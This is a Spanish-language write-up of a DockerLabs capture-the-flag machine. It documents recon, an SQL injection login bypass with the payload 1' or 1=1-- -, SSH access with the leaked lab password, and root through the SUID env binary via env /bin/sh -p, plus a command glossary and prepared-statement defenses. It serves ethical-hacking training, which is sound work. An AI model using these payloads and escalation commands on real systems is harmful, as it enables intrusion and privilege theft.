Injection

DockerLabs — Linux · SQL Injection bypass → credenciales en claro → SSH dylan → SUID env → root

● FÁCIL DOCKERLABS LINUX SQL INJECTION SUID · PrivEsc 📅 Mayo 2026 · By Brandeiks

Resumen

Injection es una máquina de dificultad fácil de DockerLabs diseñada para practicar la vulnerabilidad de inyección SQL y la posterior escalada de privilegios en Linux. La máquina corre sobre Ubuntu y expone dos servicios: SSH en el puerto 22 y un servidor web Apache en el puerto 80.

El vector de entrada es un formulario de login PHP vulnerable a SQL Injection clásica. Al inyectar 1' or 1=1-- - en el campo de usuario, la consulta SQL siempre evalúa como verdadera, autenticando sin credenciales válidas y revelando la contraseña en texto claro del usuario dylan. Estas credenciales permiten acceso por SSH.

Una vez dentro, la escalada de privilegios se logra a través del binario /usr/bin/env con el bit SUID activado. Consultando GTFObins, el comando env /bin/sh -p spawnea una shell como root aprovechando que los privilegios efectivos no son descartados.

FaseTécnica / HerramientaResultado
Despliegueauto_deploy.sh injection.tarContenedor activo en 172.17.0.2
Reconocimientoping + nmap -p- -sSCV + xsltproc22 SSH (OpenSSH 8.9p1) · 80 HTTP (Apache 2.4.52)
Enumeración WebNavegador → :80Login PHP con PHPSESSID — vulnerable a SQLi
ExplotaciónSQL Injection: 1' or 1=1-- -Bypass auth + password dylan en claro
Acceso inicialssh dylan@172.17.0.2Shell como usuario dylan
PrivEscfind SUID + GTFObins env /bin/sh -pShell como root

Despliegue del Laboratorio

1
LANZAR EL CONTENEDOR DOCKERLABS

DockerLabs usa un script de despliegue automático que levanta el contenedor Docker con la máquina vulnerable y nos asigna su IP. Al ejecutar auto_deploy.sh con el archivo injection.tar, el sistema despliega el laboratorio y nos indica la dirección IP asignada: 172.17.0.2. El proceso queda en primer plano y se detiene con Ctrl+C cuando terminemos.

DEPLOY
$ sudo bash auto_deploy.sh injection.tar
[sudo] password for kali:
 
Estamos desplegando la máquina vulnerable, espere un momento.
 
Máquina desplegada, su dirección IP es ─→ 172.17.0.2
 
Presiona Ctrl+C cuando termines con la máquina para eliminarla

Reconocimiento

2
VERIFICACIÓN DE CONECTIVIDAD CON PING

Verificamos que el contenedor esté activo y accesible. El TTL de respuesta es 64, confirmando que es una máquina Linux (TTL inicial 64, sin hops que lo reduzcan al ser una red Docker local). La latencia de 0.3ms confirma que el contenedor está corriendo en la misma máquina host.

PING
$ ping 172.17.0.2 -c 3
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.346 ms
64 bytes from 172.17.0.2: icmp_seq=2 ttl=64 time=0.166 ms
64 bytes from 172.17.0.2: icmp_seq=3 ttl=64 time=0.152 ms
 
--- 172.17.0.2 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2056ms
rtt min/avg/max/mdev = 0.152/0.221/0.346/0.088 ms
3
ESCANEO DE PUERTOS CON NMAP

El escaneo revela dos puertos abiertos: el puerto 22 con OpenSSH 8.9p1 (Ubuntu) y el puerto 80 con Apache httpd 2.4.52. El script NSE http-title detecta "Iniciar Sesión" como título de la página, revelando un formulario de login. El header http-cookie-flags muestra que la cookie PHPSESSID tiene el flag httponly not set, lo que indicaría también vulnerabilidad a XSS, aunque no será necesario para esta máquina.

NMAP
$ sudo nmap -p- -sSCV -n -Pn --min-rate=5000 --open 172.17.0.2 -oX injection.xml
Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-29 00:55 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000020s latency).
Not shown: 65533 closed tcp ports (reset)
 
PORT   STATE SERVICE VERSION
22/tcp  open   ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 72:1f:e1:92:70:3f:21:a2:0a:c6:a6:0e:b8:a2:aa:d5 (ECDSA)
|_  256 8f:3a:cd:fc:03:26:ad:49:4a:6c:a1:89:39:f9:7c:22 (ED25519)
80/tcp  open   http     Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
MAC Address: BA:C1:B1:AF:59:90 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 15.86 seconds
4
CONVERSIÓN DEL REPORTE NMAP A HTML
XSLTPROC
$ xsltproc /usr/share/nmap/nmap.xsl injection.xml > injection.html

SQL Injection — Bypass de Autenticación

5
EXPLORACIÓN DEL PUERTO 80

Navegamos a http://172.17.0.2 y encontramos un formulario de login con dos campos: User y Password. El título "Iniciar Sesión" y la cookie PHPSESSID ya nos indicaron que el backend está desarrollado en PHP, lo que sugiere una consulta SQL del tipo:

SELECT * FROM users WHERE user='$input' AND password='$pass'

Esta construcción clásica es vulnerable a SQL Injection si los parámetros no están sanitizados ni parametrizados con prepared statements.

6
INYECCIÓN SQL — BYPASS DE LOGIN

Introducimos el payload clásico de bypass en el campo User y cualquier valor en el campo Password. El payload funciona alterando la lógica de la consulta SQL:

La consulta original sería: SELECT * FROM users WHERE user='1' or 1=1-- -' AND password='...'

El -- (comentario SQL) elimina el resto de la consulta incluyendo la verificación de contraseña. La condición 1=1 siempre es verdadera, por lo que la consulta devuelve el primer registro de la tabla, logrando el bypass y revelando la contraseña del usuario dylan en texto claro.

SQLi PAYLOAD
User: 1' or 1=1-- -
Pass: [cualquier valor]
Bienvenido Dylan! Has insertado correctamente tu contraseña:
KJSDFG789FGSDF78

// SQL INJECTION — ANÁLISIS DEL PAYLOAD

1' → El número 1 cierra la comilla de apertura del parámetro user. El apóstrofe rompe la sintaxis SQL y empieza la inyección.
or 1=1 → Condición adicional siempre verdadera. Hace que la cláusula WHERE devuelva todos los registros.
-- - → Comentario SQL en MySQL/MariaDB. Todo lo que viene después (incluyendo AND password='...') queda comentado y no se evalúa. El espacio después de -- es necesario en algunas versiones de MySQL.

Query resultante: SELECT * FROM users WHERE user='1' or 1=1-- -'
Resultado: Devuelve el primer usuario de la tabla (dylan) con su contraseña en claro.

USUARIO
dylan
CONTRASEÑA
KJSDFG789FGSDF78

Acceso SSH como Dylan

7
CONEXIÓN SSH CON LAS CREDENCIALES OBTENIDAS

Con las credenciales obtenidas de la inyección SQL, nos conectamos por SSH al servidor. El servidor acepta las credenciales y obtenemos una shell interactiva como el usuario dylan en un sistema Ubuntu 22.04.4 LTS. Desde aquí debemos escalar privilegios hasta root.

SSH
$ ssh dylan@172.17.0.2
dylan@172.17.0.2's password: KJSDFG789FGSDF78
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 6.18.12+kali-amd64 x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:         https://ubuntu.com/pro
 
dylan@ae8d8a92e02e:~$

Escalada de Privilegios — SUID env

8
BÚSQUEDA DE BINARIOS CON BIT SUID

El bit SUID (Set User ID) en un binario hace que al ejecutarlo, el proceso corra con los permisos del propietario del archivo (generalmente root) en lugar de los del usuario que lo ejecuta. Buscamos todos los binarios con este bit activado en el sistema.

Entre los resultados destaca /usr/bin/env: una herramienta estándar de Unix que normalmente se usa para ejecutar programas en un entorno modificado. Con el bit SUID activado, se convierte en un vector de escalada de privilegios documentado en GTFObins.

FIND SUID
dylan@ae8d8a92e02e:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/env
/usr/bin/chsh

// DESGLOSE DEL COMANDO FIND

find / → Busca recursivamente desde la raíz del sistema de archivos.
-perm -4000 → Filtra archivos cuyo modo incluya el bit SUID (octal 4000). El guion (-) indica "al menos estos bits activos", sin importar los demás.
2>/dev/null → Redirige los errores (stderr, fd 2) a /dev/null, descartando los mensajes "Permission denied" que aparecerían al intentar leer directorios sin acceso. Limpia el output y muestra solo los resultados válidos.

9
CONSULTAR GTFOBINS PARA ENV

GTFObins es una base de datos curada de binarios Unix que pueden usarse para escalar privilegios, escapar de shells restringidas o transferir archivos cuando tienen configuraciones inseguras. Buscamos env bajo la categoría SUID y obtenemos el comando exacto:

env /bin/sh -p

El flag -p es clave: le indica a /bin/sh que no descarte los privilegios efectivos. Sin este flag, muchas shells modernas detectan que el UID real (dylan) difiere del efectivo (root) y degradan los privilegios como medida de seguridad.

PRIVESC
dylan@ae8d8a92e02e:~$ /usr/bin/env /bin/sh -p
10
VERIFICACIÓN Y ACCESO A /ROOT

El comando nos da una shell # inmediatamente. Verificamos con whoami que somos root y navegamos al directorio /root para listar su contenido.

# whoami
root
# cd /root
# ls -la
total 32
drwx------  1 root root 4096 May 13 2024 .
drwxr-xr-x 1 root root 4096 May 29 06:53 ..
-rw-------  1 root root   59 May 13 2024 .bash_history
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwxr-xr-x 3 root root 4096 Mar 25 2024 .local
-rw-------  1 root root  979 Mar 25 2024 .mysql_history
-rw-r--r-- 1 root root  161 Jul  9 2019 .profile
-rw-------  1 root root 1821 Mar 25 2024 .viminfo
#

// ¿POR QUÉ .MYSQL_HISTORY EN /ROOT?

La presencia de .mysql_history en el directorio root revela que el usuario root ha estado ejecutando comandos MySQL directamente desde la línea de comandos. Este archivo registra todas las queries ejecutadas en sesiones interactivas de MySQL. En un entorno real, esto podría contener queries con credenciales, nombres de tablas sensibles o datos de configuración de la base de datos. Siempre revisar este archivo en post-explotación: cat /root/.mysql_history


Referencia de Comandos

auto_deploy.sh
sudo bash auto_deploy.sh <máquina.tar>
Despliega el contenedor Docker de DockerLabs y muestra la IP asignada.
  • sudo bash → Necesita root para gestionar Docker y redes.
  • Ctrl+C → Detiene y elimina el contenedor al finalizar.
  • 172.17.0.0/16 → Subred Docker por defecto en la mayoría de sistemas.
nmap
nmap -p- -sSCV -n -Pn --min-rate=5000 --open <IP> -oX out.xml
Escaneo completo de puertos con detección de versiones y scripts NSE.
  • -sC → Scripts NSE: http-title, http-cookie-flags, ssh-hostkey.
  • -sV → Versiones: Apache 2.4.52, OpenSSH 8.9p1.
  • -oX → XML para xsltproc → HTML.
SQL Injection básica
1' or 1=1-- -
Payload de bypass de autenticación para consultas SQL sin prepared statements.
  • 1' → Cierra la comilla del parámetro e inicia la inyección.
  • or 1=1 → Condición siempre verdadera.
  • -- - → Comentario MySQL, descarta el resto de la query.
find SUID
find / -perm -4000 2>/dev/null
Busca todos los binarios con el bit SUID activado en el sistema.
  • -perm -4000 → Bit SUID (octal 4000) activo.
  • 2>/dev/null → Descarta errores de permisos.
  • -type f → (opcional) Solo archivos regulares, no directorios.
env SUID (GTFObins)
/usr/bin/env /bin/sh -p
Escala a root aprovechando el bit SUID de env. El flag -p preserva los privilegios efectivos.
  • env → Ejecuta un programa en un entorno modificado.
  • /bin/sh → Shell POSIX a spawnar.
  • -p → No descarta los privilegios efectivos del SUID.
ssh
ssh <usuario>@<IP>
Conexión SSH con autenticación por contraseña al servidor remoto.
  • -p <PORT> → Puerto alternativo (por defecto 22).
  • -i <KEY> → Autenticación con clave privada en lugar de contraseña.
  • -v → Verbose: muestra el handshake para depuración.

Glosario

SQL Injection (SQLi) — Inyección SQL
SQL Injection es una vulnerabilidad de seguridad web que ocurre cuando una aplicación incorpora datos controlados por el usuario directamente en consultas SQL sin sanitización. El atacante puede alterar la lógica de la consulta, bypassear autenticación, extraer datos de la base de datos, modificar o eliminar registros, e incluso ejecutar comandos del OS en algunos casos (ej: xp_cmdshell en SQL Server). La prevención correcta usa prepared statements (consultas parametrizadas) donde los datos del usuario son siempre tratados como datos, nunca como código SQL. En PHP: $stmt = $pdo->prepare("SELECT * FROM users WHERE user=?"); $stmt->execute([$input]);. OWASP clasifica SQLi como A03:2021 en el Top 10.
Bit SUID — Set User ID on Execution
El bit SUID (octal 4000) es un permiso especial de Unix/Linux que, cuando está activado en un ejecutable, hace que el proceso corra con el UID efectivo del propietario del archivo en lugar del UID del usuario que lo ejecuta. Si root es el propietario y el bit SUID está activo, cualquier usuario puede ejecutar el programa con privilegios de root. Esto es necesario para binarios legítimos como passwd (necesita escribir en /etc/shadow) o sudo. El peligro surge cuando binarios que permiten ejecutar código arbitrario (como env, find, vim, python) tienen este bit activado incorrectamente. Identificación: ls -la muestra -rwsr-xr-x (la 's' en lugar de 'x' en el grupo de permisos del propietario).
GTFObins — Binarios Unix para PrivEsc
GTFObins (Get The F*** Out Binaries) es una lista curada de binarios Unix que pueden ser abusados por un atacante para escalar privilegios, escapar de shells restringidas, transferir archivos o establecer conexiones. El proyecto categoriza cada binario según el vector de abuso: SUID (binario tiene bit SUID), Sudo (el usuario puede ejecutar el binario como root via sudo), Shell (puede spawnar una shell), File Read/Write (puede leer/escribir archivos arbitrarios), etc. En Injection, env aparece bajo la categoría SUID con el técnica Shell: env /bin/sh -p. Recurso: https://gtfobins.github.io
DockerLabs — Laboratorios de Hacking con Docker
DockerLabs es una plataforma española de laboratorios de hacking ético gratuitos que usa contenedores Docker como máquinas vulnerables. A diferencia de plataformas como HackTheBox o TryHackMe, los laboratorios se ejecutan localmente en tu propia máquina, eliminando la necesidad de conexión VPN y garantizando latencia mínima (el contenedor corre en tu propio host). El despliegue es instantáneo con auto_deploy.sh y la eliminación también: solo Ctrl+C. Las IPs son siempre del rango 172.17.0.0/16 (red bridge de Docker). Ideal para practicar sin límites de tiempo ni de instancias concurrentes.
Apache httpd — Servidor Web
Apache HTTP Server es el servidor web open-source más usado históricamente en el mundo. La versión 2.4.52 detectada en Injection es una versión de 2021 de la rama 2.4.x (LTS). En el contexto de esta máquina, Apache sirve la aplicación PHP de login vulnerable. Los scripts NSE de Nmap detectan automáticamente el header Server: Apache/2.4.52 (Ubuntu), el título de la página y las flags de las cookies. El flag httponly not set en PHPSESSID indica que la cookie de sesión es accesible desde JavaScript, lo que haría posible el robo de sesión mediante XSS además de la SQLi.
Prepared Statements — Prevención de SQLi
Los prepared statements (sentencias preparadas) son la defensa principal contra SQL Injection. Separan el código SQL de los datos del usuario en dos fases: primero se envía la estructura de la query con placeholders (? o :nombre) al servidor de base de datos, que la compila; luego se envían los datos del usuario por separado. El servidor de BD trata los datos siempre como valores literales, nunca como código SQL, imposibilitando la inyección. En PHP con PDO: $stmt = $pdo->prepare("SELECT * FROM users WHERE user=? AND pass=?"); $stmt->execute([$user, $pass]);. En MySQL nativo: PREPARE stmt FROM 'SELECT * FROM users WHERE user=?'; EXECUTE stmt USING @user;